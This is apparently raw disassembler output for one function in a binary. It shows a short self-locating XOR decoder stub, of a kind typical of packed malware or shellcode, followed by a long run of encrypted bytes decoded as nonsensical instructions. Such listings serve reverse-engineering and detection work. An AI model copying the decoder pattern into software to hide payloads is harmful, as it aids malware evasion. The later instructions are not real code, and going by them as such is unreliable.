Function at 0x120a23e8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x120a23f2
pushal
call 0x120a23f8
pop ebp
sub ebp, 0x10
sub ebp, 0x20a23e8
mov al, byte [esp + 0x28]
cmp al, 1
je 0x120a241c
popal
xor eax, eax
inc eax
ret 0xc
jmp 0x120a2425
mov eax, 0x20a23e8
add eax, ebp
add eax, 0x63
mov ecx, 0x5bf
mov edx, 0x7497687a
xor byte [eax], dl
inc eax
dec ecx
jne 0x120a243c
jmp 0x120a244f
int1
mov bh, 0xf1
inc esi
inc esi
jp 0x120a24d0
jp 0x120a2453
mov ebx, 0x7a7a7a82
jns 0x120a2416
ret 0x7a7c
pop esi
neg dword [esi]
pop esi
xchg bl, dh
jle 0x120a24e1
adc dh, dh
jbe 0x120a24e5
jp 0x120a249b
insd dword es:[edi], dx
pushfd
jnp 0x120a2509
push esi
pop esi
adc dl, byte [eax - 0x6d0b9b5e]
jg 0x120a2512
jp 0x120a2514
xchg ebx, eax
push esp
jp 0x120a2518
jp 0x120a24cf
int1
xchg esi, eax
int1
push dword [edx + 0x7a]
jp 0x120a2522
int1
out dx, eax
jbe 0x120a2526
jp 0x120a2528
int1
imul dword [edx + 0x7a]
jp 0x120a252e
mov ebx, 0x784b7893
stc
mov eax, 0xff75337e
mov es, word [ebp + 0x56f18585]
pop esi
neg dword [esi]
pop esi
jle 0x120a2483
jbe 0x120a2547
int1
neg byte [esi + 0x7e]
jp 0x120a254d
pop esi
jle 0x120a254c
jp 0x120a254e
jp 0x120a24e7
adc dh, dh
jbe 0x120a2536
div byte [esi + 0x5e]
jp 0x120a24ec
insd dword es:[edi], dx
pushfd
jnp 0x120a255a
push esi
pop esi
sub edx, dword [edx + 0x7a7a7a7f]
jp 0x120a2560
jp 0x120a2561
jp 0x120a247b
xchg ebx, eax
aas
js 0x120a2565
jp 0x120a24e4
neg dword [esi]
push ds
pop esi
xchg bl, dh
push esi
pop esi
int1
xchg esi, eax
test dword [edi], ecx
jbe 0x120a247e
invalid
jp 0x120a2579
jp 0x120a24f2
invalid
jb 0x120a257e
jp 0x120a2580
jp 0x120a2502
sti
mov ebp, dword [edx]
and eax, 0x8bfb0ec0
sub ah, byte [0xb3490ec0]
dec ecx
mov bl, 0x49
dec ecx
test al, 0xf9
xchg edx, eax
jg 0x120a254c
jne 0x120a251a
xor al, 0x7a
jp 0x120a259a
jne 0x120a2514
xor bh, byte [edx + 0x7a]
jp 0x120a2543
sbb al, 0xf1
int1
inc bx
cli
adc dword [edx + 0x7a60fe75], 0x81fa7a7a
xchg ebx, eax
invalid
jne 0x120a2536
imul edi, dword [edx + 0x7a], 0x7a
sbb al, 0xfb
add dword [ebp + 0x6ffe755f], 0x3b7a7a7a
outsd dx, dword [esi]
jp 0x120a25c0
jp 0x120a2583
cmp edx, dword [ebx - 0x7a7a7a4a]
xchg ebx, eax
mov dh, 0x85
test dword [ebp + 0x7b433653], eax
stc
test dword [ebx + 0x36], edx
inc ebx
push ebx
inc ebx
jnp 0x120a254b
mov ebx, 0x7e92f97f
xchg ebx, eax
mov dword [ebp + 0x2e538585], 0xbbf97843
jl 0x120a255d
test dword [ebp + 0x78432e53], eax
inc ebx
js 0x120a255a
stc
mov ebx, 0x7e90f97c
stc
nop
jle 0x120a2560
xchg edx, eax
jg 0x120a24fd
rol dword [ebp - 0x47d87a7b], 1
jbe 0x120a25ec
das
int1
xchg esi, eax
sub al, 0x2d
das
int1
pcmpeqd mm6, mm1
pop es
jb 0x120a2505
xchg al, cl
enter 0xfffffffffffff0fa, 0x7c
cli
invalid
sti
mov esp, 0x7a7a7a7b
jp 0x120a2603
bnd jge 0x120a2587
mov ebp, 0x7a7a7a7b
sar dword [eax + 0x7a], 0x7a
jp 0x120a260f
test al, 0x75
invalid
jg 0x120a2616
jp 0x120a2618
invalid
test al, 0x75
stc
adc byte [edx + 0x7a], bh
jp 0x120a2606
mov edx, 0xff75a878
jne 0x120a25c1
invalid
jg 0x120a263e
jp 0x120a2640
invalid
test al, 0x69
mov edx, 0xff75a878
jg 0x120a266f
jp 0x120a2671
invalid
jp 0x120a267f
jp 0x120a25f7
invalid
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x69
push 0x75ba69a8
invalid
mov edx, 0x7a7cfe75
jl 0x120a268b
jp 0x120a268d
int1
movsd dword es:[edi], dword [esi]
push ecx
mov byte [0x7df279f0], al
cmp eax, 0x7a7a78c1
jns 0x120a260c
jge 0x120a2659
sar dword [eax + 0x7a], 0x7a
jp 0x120a269a
jp 0x120a25b5
or al, byte [ebp + 0x7bc28585]
jp 0x120a26a4
jp 0x120a26a4
test al, 0x75
invalid
jg 0x120a26ba
jp 0x120a26bc
invalid
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x3e46ae7b], eax
jnp 0x120a26cc
jp 0x120a26ce
jne 0x120a2655
dec dword [esi + 0x7a]
jp 0x120a26d4
dec esi
jp 0x120a26d3
jp 0x120a261e
ret
jnp 0x120a26d7
jp 0x120a26d9
js 0x120a2609
jne 0x120a2662
invalid
jg 0x120a26df
jp 0x120a26e1
invalid
test al, 0x75
invalid
movsb byte es:[edi], byte [esi]
test dword [ebp - 0x720ed37b], eax
push ecx
test dword [ebp + 0x518df12c], eax
lea edx, [ecx - 0x71]
mov esi, ebx
and al, 0x93
jb 0x120a2611
invalid
test dword [ebp - 0x6544cd7b], eax
jb 0x120a2683
test dword [ebp + 0x729abb32], eax
invalid
test dword [edx], esi
mov ebx, 0x7cf0729a
cmp al, 0xf1
jl 0x120a26d1
int1
xchg edx, eax
ret
jp 0x120a2716
js 0x120a2646
jne 0x120a269f
invalid
jg 0x120a271c
jp 0x120a271e
invalid
jp 0x120a26a4
insb byte es:[edi], dx
cmp al, 0x68
test al, 0x75
clc
movsb byte es:[edi], byte [esi]
test dword [ebp + 0x7a82fb85], eax
pop es
test dword [ebp + 0x77a82fb], eax
jp 0x120a273e
sti
mov dword [0x85858585], eax
sti
cmp byte [edx + 0x7f], 0x7a
jp 0x120a26cc
jp 0x120a274d
jp 0x120a274a
sti
mov dword [0x85858585], eax
sti
test dword [ebp - 0x57d047b], eax
test dword [ebp + 0x7afa82fb], eax
cmp dl, 0x7a
cli
jp 0x120a2755
jp 0x120a2756
jp 0x120a26d8
sti
stosd dword es:[edi], eax
jp 0x120a275a
jp 0x120a275b
jp 0x120a275c
jp 0x120a26de
sti
cmp dl, 0x7a
jp 0x120a2762
sti
stosd dword es:[edi], eax
jp 0x120a2766
jp 0x120a2768
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0x93
loope 0x120a267d
test dword [ebp + 0x493c7cf0], eax
mov bl, 0xba
mov edx, 0xfe757b92
xchg edx, eax
jnp 0x120a2779
invalid
pushal
jp 0x120a2782
jp 0x120a2705
stosd dword es:[edi], eax
js 0x120a2787
jp 0x120a2789
jp 0x120a2701
int1
xchg edx, eax
sub al, 0xf1
lea edx, [ecx - 0x76]
mov esi, ebx
and al, 0xc1
jnp 0x120a2796
sar dword [ebx + 0x7a], 0x7a
jp 0x120a26b2
jp 0x120a2798
xchg ebx, eax
or dword [ebp + eax*4 + 0x7512785], eax
daa
push ecx
pop es
jb 0x120a2719
mov ebp, 0x9ff12425
and al, 0xf1
lahf
daa
mov eax, 0x46f17a72
pop esi
neg dword [esi]
pop esi
jle 0x120a272a
dec esi
pop esi
neg dword [esi]
pop esi
jle 0x120a26d3
jle 0x120a27bc
jp 0x120a27be
jnp 0xa4cced59
pop ecx
jo 0x120a27c5
jns 0x120a270e
sti
mov edx, 0x7a7a79fc
ret
out 0x78, al
jp 0x120a27d4
sal cl, 0xf2
scasd eax, dword es:[edi]
int1
repne scasd eax, dword es:[edi]
mov byte [0x333a6a4a], al
jne 0x120a2764
xor esi, dword [ebp - 1]
dec dword [ebp + eax*4 + 0x7e938585]
mov word [ebp + 0x7e938585], es
test dword [ebp + 0x7a7e9385], eax
jp 0x120a27e8
test dword [ebx + 0x7a7a7a7e], edx
jp 0x120a27e7
jp 0x120a272e
mov edi, 0x764b8f7e
invalid
jle 0x120a2700
dec ebx
jbe 0x120a2783
jp 0x120a2705
int 0x7a
dec ebp
invalid
jp 0x120a2706
jp 0x120a2706
int 0x67
jp 0x120a27fe
rol ebp, 0xf1
int1
int1
fisubr dword [ecx]
jbe 0x120a279d
jp 0x120a271f
int1
jbe 0x120a27a2
or esi, dword [esi + 8]
jbe 0x120a27a1
or byte [edx - 0x78], bh
jp 0x120a2723
cmc
jbe 0x120a27a6
or byte [eax + 0xb], dh
jo 0x120a27ab
int1
int1
int1
int1
invalid
mov bh, 0xf1
int1
int1
daa
daa
jo 0x120a27e4
stc
int1
int1
int1
jo 0x120a27cc
stc
int1
int1
int1
jo 0x120a27c2
int1
int1
int1
int1
invalid
push cs
push cs
xchg edi, eax
jp 0x120a27bd
xor byte [ecx], bl
std
jb 0x120a27dd
invalid
int1
invalid
je 0x120a27d2
int1
int1
int1
xchg edi, eax
jp 0x120a27d2
jo 0x120a27ef
adc dword [esi], ecx
push cs
invalid
invalid
mov eax, 0x18f33672
cmp dword [esi], ecx
jb 0x120a2820
sbb byte [ecx], bh
push cs
push cs
push cs
sbb ch, dh
int1
int1
int1
xchg ebx, eax
push esp
mov al, dh
dec ecx
sbb edx, edx
sti
xor al, 0x70
xor al, 0x70
xor esi, eax
cmc
int1
int1
dec eax
sbb dh, al
int1
int1
dec ebx
inc ecx
sal ebx, cl
invalid
pop es
mov byte [eax - 0x3a], bl
mov dh, 0xca
jge 0x120a27ef
mov dh, 0xca
std
jbe 0x120a27ef
inc ecx
inc ecx
inc ecx
inc edx
mov edi, 0x414d3ec2
dec esi
invalid